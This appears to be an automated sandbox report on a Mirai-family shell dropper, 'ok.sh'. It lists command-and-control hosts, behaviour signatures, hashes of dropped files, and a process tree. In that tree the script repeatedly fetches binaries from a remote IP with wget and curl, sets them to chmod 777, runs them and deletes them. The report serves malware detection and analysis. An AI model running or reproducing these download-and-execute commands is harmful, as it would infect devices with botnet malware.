Analysis

  • max time kernel
    139s
  • max time network
    141s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/08/2026, 06:48

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260809-hk2fhshc64
  • SHA256 bab6ccd1bd6cd243c42f0f03c959184117d03a73ca01476bdd6055f15458f2d4
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 45 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /usr/bin/wget
      wget http://5.182.210.174/9b9d62
      2⤵
      • Writes file to tmp directory
      PID:649
    • /usr/bin/curl
      curl -O http://5.182.210.174/9b9d62
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:671
    • /bin/chmod
      chmod 777 9b9d62
      2⤵
      • File and Directory Permissions Modification
      PID:673
    • /tmp/9b9d62
      ./9b9d62 bc
      2⤵
        PID:674
      • /bin/rm
        rm -rf 9b9d62
        2⤵
          PID:676
        • /bin/rm
          rm -rf 9b9d62.1
          2⤵
            PID:677
          • /usr/bin/wget
            wget http://5.182.210.174/59a197
            2⤵
            • Writes file to tmp directory
            PID:678
          • /usr/bin/curl
            curl -O http://5.182.210.174/59a197
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:679
          • /bin/chmod
            chmod 777 59a197
            2⤵
            • File and Directory Permissions Modification
            PID:680
          • /tmp/59a197
            ./59a197 bc
            2⤵
              PID:681
            • /bin/rm
              rm -rf 59a197
              2⤵
                PID:684
              • /bin/rm
                rm -rf 59a197.1
                2⤵
                  PID:686
                • /usr/bin/wget
                  wget http://5.182.210.174/8fedf4
                  2⤵
                  • Writes file to tmp directory
                  PID:687
                • /usr/bin/curl
                  curl -O http://5.182.210.174/8fedf4
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:702
                • /bin/chmod
                  chmod 777 8fedf4
                  2⤵
                  • File and Directory Permissions Modification
                  PID:719
                • /tmp/8fedf4
                  ./8fedf4 bc
                  2⤵
                    PID:720
                  • /bin/rm
                    rm -rf 8fedf4
                    2⤵
                      PID:722
                    • /bin/rm
                      rm -rf 8fedf4.1
                      2⤵
                        PID:724
                      • /usr/bin/wget
                        wget http://5.182.210.174/50435a
                        2⤵
                        • Writes file to tmp directory
                        PID:728
                      • /usr/bin/curl
                        curl -O http://5.182.210.174/50435a
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:738
                      • /bin/chmod
                        chmod 777 50435a
                        2⤵
                        • File and Directory Permissions Modification
                        PID:739
                      • /tmp/50435a
                        ./50435a bc
                        2⤵
                          PID:740
                        • /bin/rm
                          rm -rf 50435a
                          2⤵
                            PID:742
                          • /bin/rm
                            rm -rf 50435a.1
                            2⤵
                              PID:743
                            • /usr/bin/wget
                              wget http://5.182.210.174/0cda73
                              2⤵
                              • Writes file to tmp directory
                              PID:744
                            • /usr/bin/curl
                              curl -O http://5.182.210.174/0cda73
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:745
                            • /bin/chmod
                              chmod 777 0cda73
                              2⤵
                              • File and Directory Permissions Modification
                              PID:762
                            • /tmp/0cda73
                              ./0cda73 bc
                              2⤵
                                PID:764
                              • /bin/rm
                                rm -rf 0cda73
                                2⤵
                                  PID:765
                                • /bin/rm
                                  rm -rf 0cda73.1
                                  2⤵
                                    PID:767
                                  • /usr/bin/wget
                                    wget http://5.182.210.174/d687aa
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:768
                                  • /usr/bin/curl
                                    curl -O http://5.182.210.174/d687aa
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:781
                                  • /bin/chmod
                                    chmod 777 d687aa
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:782
                                  • /tmp/d687aa
                                    ./d687aa bc
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    PID:783
                                  • /bin/rm
                                    rm -rf d687aa
                                    2⤵
                                      PID:785
                                    • /bin/rm
                                      rm -rf d687aa.1
                                      2⤵
                                        PID:788
                                      • /usr/bin/wget
                                        wget http://5.182.210.174/3020e1
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:789
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.174/3020e1
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:790
                                      • /bin/chmod
                                        chmod 777 3020e1
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:791
                                      • /tmp/3020e1
                                        ./3020e1 bc
                                        2⤵
                                          PID:792
                                        • /bin/rm
                                          rm -rf 3020e1
                                          2⤵
                                            PID:794
                                          • /bin/rm
                                            rm -rf 3020e1.1
                                            2⤵
                                              PID:795
                                            • /usr/bin/wget
                                              wget http://5.182.210.174/7866d1
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:796
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.174/7866d1
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:797
                                            • /bin/chmod
                                              chmod 777 7866d1
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:798
                                            • /tmp/7866d1
                                              ./7866d1 bc
                                              2⤵
                                              • Modifies Watchdog functionality
                                              • Enumerates active TCP sockets
                                              • Changes its process name
                                              • Reads system network configuration
                                              • Reads runtime system information
                                              PID:799
                                            • /bin/rm
                                              rm -rf 7866d1
                                              2⤵
                                                PID:801
                                              • /bin/rm
                                                rm -rf 7866d1.1
                                                2⤵
                                                  PID:804
                                                • /usr/bin/wget
                                                  wget http://5.182.210.174/cdb475
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:805
                                                • /usr/bin/curl
                                                  curl -O http://5.182.210.174/cdb475
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:806
                                                • /bin/chmod
                                                  chmod 777 cdb475
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:807
                                                • /tmp/cdb475
                                                  ./cdb475 bc
                                                  2⤵
                                                    PID:808
                                                  • /bin/rm
                                                    rm -rf cdb475
                                                    2⤵
                                                      PID:810
                                                    • /bin/rm
                                                      rm -rf cdb475.1
                                                      2⤵
                                                        PID:811
                                                      • /usr/bin/wget
                                                        wget http://5.182.210.174/4c1687
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:812
                                                      • /usr/bin/curl
                                                        curl -O http://5.182.210.174/4c1687
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:814
                                                      • /bin/chmod
                                                        chmod 777 4c1687
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:816
                                                      • /tmp/4c1687
                                                        ./4c1687 bc
                                                        2⤵
                                                          PID:817
                                                        • /bin/rm
                                                          rm -rf 4c1687
                                                          2⤵
                                                            PID:818
                                                          • /bin/rm
                                                            rm -rf 4c1687.1
                                                            2⤵
                                                              PID:819
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.174/07038c
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:820
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.174/07038c
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:821
                                                            • /bin/chmod
                                                              chmod 777 07038c
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:822
                                                            • /tmp/07038c
                                                              ./07038c bc
                                                              2⤵
                                                                PID:823
                                                              • /bin/rm
                                                                rm -rf 07038c
                                                                2⤵
                                                                  PID:825
                                                                • /bin/rm
                                                                  rm -rf 07038c.1
                                                                  2⤵
                                                                    PID:826
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.174/29d455
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:827
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.174/29d455
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:828
                                                                  • /bin/chmod
                                                                    chmod 777 29d455
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:829
                                                                  • /tmp/29d455
                                                                    ./29d455 bc
                                                                    2⤵
                                                                      PID:830
                                                                    • /bin/rm
                                                                      rm -rf 29d455
                                                                      2⤵
                                                                        PID:832
                                                                      • /bin/rm
                                                                        rm -rf 29d455.1
                                                                        2⤵
                                                                          PID:833

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            07038c

                                                                            • Path /tmp/07038c
                                                                            • Size 65KB
                                                                            • SHA256 5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            0cda73

                                                                            • Path /tmp/0cda73
                                                                            • Size 43KB
                                                                            • SHA256 b595ef9ca4756a07bc83027a943009cb947d03c4c261a3e4cc3bec467b43c203
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            29d455

                                                                            • Path /tmp/29d455
                                                                            • Size 49KB
                                                                            • SHA256 bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            3020e1

                                                                            • Path /tmp/3020e1
                                                                            • Size 67KB
                                                                            • SHA256 a75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            4c1687

                                                                            • Path /tmp/4c1687
                                                                            • Size 61KB
                                                                            • SHA256 3b2f2f02077aee3efe6dcca1bb84afc59af14fff78d1b6dd18aed0c24e08a313
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            50435a

                                                                            • Path /tmp/50435a
                                                                            • Size 49KB
                                                                            • SHA256 3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            59a197

                                                                            • Path /tmp/59a197
                                                                            • Size 48KB
                                                                            • SHA256 9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            7866d1

                                                                            • Path /tmp/7866d1
                                                                            • Size 120KB
                                                                            • SHA256 383819dd8c7df6077d193ace66715d7b3e5d82e0de0ad87ef8a783965786d606
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            8fedf4

                                                                            • Path /tmp/8fedf4
                                                                            • Size 53KB
                                                                            • SHA256 abda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            9b9d62

                                                                            • Path /tmp/9b9d62
                                                                            • Size 45KB
                                                                            • SHA256 41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            cdb475

                                                                            • Path /tmp/cdb475
                                                                            • Size 44KB
                                                                            • SHA256 9c719ba3b1cd4a8cf820c5eaea04aae7d0188da53e75f18f9c04c1fbbd3cc97e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            d687aa

                                                                            • Path /tmp/d687aa
                                                                            • Size 51KB
                                                                            • SHA256 8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH